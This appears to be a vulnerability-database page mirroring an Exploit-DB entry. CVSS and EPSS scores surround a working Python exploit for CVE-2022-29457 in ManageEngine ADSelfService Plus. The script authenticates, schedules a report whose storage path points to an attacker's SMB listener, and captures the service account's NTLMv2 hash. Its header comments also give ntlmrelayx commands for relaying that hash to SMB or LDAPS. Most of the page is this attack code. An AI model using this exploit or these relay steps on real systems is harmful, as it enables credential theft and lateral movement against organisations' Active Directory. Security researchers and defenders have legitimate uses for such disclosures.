Lucene search

K
exploitdbMetin Yunus KandemirEDB-ID:50904
HistoryMay 11, 2022 - 12:00 a.m.

ManageEngine ADSelfService Plus Build 6118 - NTLMv2 Hash Exposure

2022-05-1100:00:00
Metin Yunus Kandemir
www.exploit-db.com
210
manageengine
adselfservice
build 6118
ntlmv2
hash exposure
exploit
vulnerability
capture
smb
ldap
information disclosure

CVSS2

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

9.1

Confidence

High

EPSS

0.014

Percentile

86.5%

# Exploit Title: ManageEngine ADSelfService Plus Build 6118 - NTLMv2 Hash Exposure
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/self-service-password/download.html
# Details: https://docs.unsafe-inline.com/0day/multiple-manageengine-applications-critical-information-disclosure-vulnerability
# Version: ADSelfService Plus Build < 6121
# Tested against: Build 6118
# CVE: CVE-2022-29457

# !/usr/bin/python3
import argparse
import requests
import urllib3
import random
import sys

"""
1- 
a)Set up SMB server to capture NTMLv2 hash.
python3 smbserver.py share . -smb2support

b)For relaying to SMB:
python3 ntlmrelayx.py -smb2support -t smb://TARGET

c)For relaying to LDAP:
python3 ntlmrelayx.py -t ldaps://TARGET

2- Fire up the exploit.
You will obtain the NTLMv2 hash of user/computer account that runs the ADSelfService in five minutes.
"""

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def get_args():
    parser = argparse.ArgumentParser(
        epilog="Example: exploit.py -t https://Target/ -l Listener-IP -a adselfservice -d unsafe.local -u operator1 -p operator1")
    parser.add_argument('-d', '--domain', required=True, action='store', help='DNS name of the target domain. ')
    parser.add_argument('-a', '--auth', required=True, action='store', help='If you have credentials of the application user, type adselfservice. If you have credentials of the domain user, type domain')
    parser.add_argument('-u', '--user', required=True, action='store')
    parser.add_argument('-p', '--password', required=True, action='store')
    parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
    parser.add_argument('-l', '--listener', required=True, action='store', help='Listener IP to capture NTLMv2 hash')
    args = parser.parse_args()
    return args


def scheduler(domain, auth, target, listener, user, password):
    try:
        with requests.Session() as s:
            gUrl = target
            getCsrf = s.get(url=gUrl, allow_redirects=False, verify=False)
            csrf = getCsrf.cookies['_zcsr_tmp']
            print("[*] Csrf token: %s" % getCsrf.cookies['_zcsr_tmp'])
    
            if auth.lower() == 'adselfservice':
                auth = "ADSelfService Plus Authentication"
            data = {
                "loginName": user,
                "domainName": auth,
                "j_username": user,
                "j_password": password,
                "AUTHRULE_NAME": "ADAuthenticator",
                "adscsrf": [csrf, csrf]
            }

            #Login
            url = target + "j_security_check"
            headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"}
            req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False)
            #Auth Check
            url2 = target + "webclient/index.html"
            req2 = s.get(url2, headers=headers, allow_redirects=False, verify=False)
            if req2.status_code == 200:
                print("[+] Authentication is successful.")
            elif req2.status_code == 302:
                print("[-] Login failed.")
                sys.exit(1)
            else:
                print("[-] Something went wrong")
                sys.exit(1)
                        
            dn = domain.split(".")
            r1 = random.randint(1, 1000)
        
            surl = target + 'ServletAPI/Reports/saveReportScheduler'
            data = {
                'SCHEDULE_ID':'0',
                'ADMIN_STATUS':'3',
                'SCHEDULE_NAME': 'enrollment' + str(r1),
                'DOMAINS': '["'+ domain +'"]',
                'DOMAIN_PROPS': '{"'+ domain +'":{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","DOMAIN_SELECTED_OUS_GROUPS":{"ou":[{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","NAME":"'+ domain +'"}]}}}',
                'SELECTED_REPORTS': '104,105',
                'SELECTED_REPORT_LIST': '[{"REPORT_CATEGORY_ID":"3","REPORT_LIST":[{"CATEGORY_ID":"3","REPORT_NAME":"adssp.reports.enroll_rep.enroll.heading","IS_EDIT":false,"SCHEDULE_ELEMENTS":[],"REPORT_ID":"104"},{"CATEGORY_ID":"3","REPORT_NAME":"adssp.common.text.non_enrolled_users","IS_EDIT":true,"SCHEDULE_ELEMENTS":[{"DEFAULT_VALUE":false,"size":"1","ELEMENT_VALUE":false,"uiText":"adssp_reports_enroll_rep_non_enroll_show_notified","name":"SHOW_NOTIFIED","id":"SHOW_NOTIFIED","TYPE":"checkbox","class":"grayfont fntFamily fntSize"}],"REPORT_ID":"105"}],"REPORT_CATEGORY_NAME":"adssp.xml.reportscategory.enrollment_reports"}]',
                'SCHEDULE_TYPE': 'hourly',
                'TIME_OF_DAY': '0',
                'MINS_OF_HOUR': '5',
                'EMAIL_ID': user +'@'+ domain,
                'NOTIFY_ADMIN': 'true',
                'NOTIFY_MANAGER': 'false',
                'STORAGE_PATH': '\\\\' + listener + '\\share',
                'FILE_FORMAT': 'HTML',
                'ATTACHMENT_TYPE': 'FILE',
                'ADMIN_MAIL_PRIORITY': 'Medium',
                'ADMIN_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_sub',
                'ADMIN_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_msg_html',
                'MANAGER_FILE_FORMAT': 'HTML',
                'MANAGER_ATTACHMENT_TYPE': 'FILE',
                'MANAGER_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_mgr_sub',
                'MANAGER_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_mgr_msg_html',
                'adscsrf': csrf
                }
            sch = s.post(surl, data=data, headers=headers, allow_redirects=False, verify=False)
            if 'adssp.reports.schedule_reports.storage_path.unc_storage_path' in sch.text:
                print('[-] The target is patched!')
                sys.exit(1)
            if sch.status_code == 200:
                print("[+] The report is scheduled. The NTLMv2 hash will be captured in five minutes!")
            else:
                print("[-] Something went wrong. Please, try it manually!")
                sys.exit(1)
    except:
        print('[-] Connection error!')
    
def main():
    arg = get_args()
    domain = arg.domain
    auth = arg.auth
    user = arg.user
    password = arg.password
    target = arg.target
    listener = arg.listener
    scheduler(domain, auth, target, listener, user, password)


if __name__ == "__main__":
    main()

CVSS2

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

9.1

Confidence

High

EPSS

0.014

Percentile

86.5%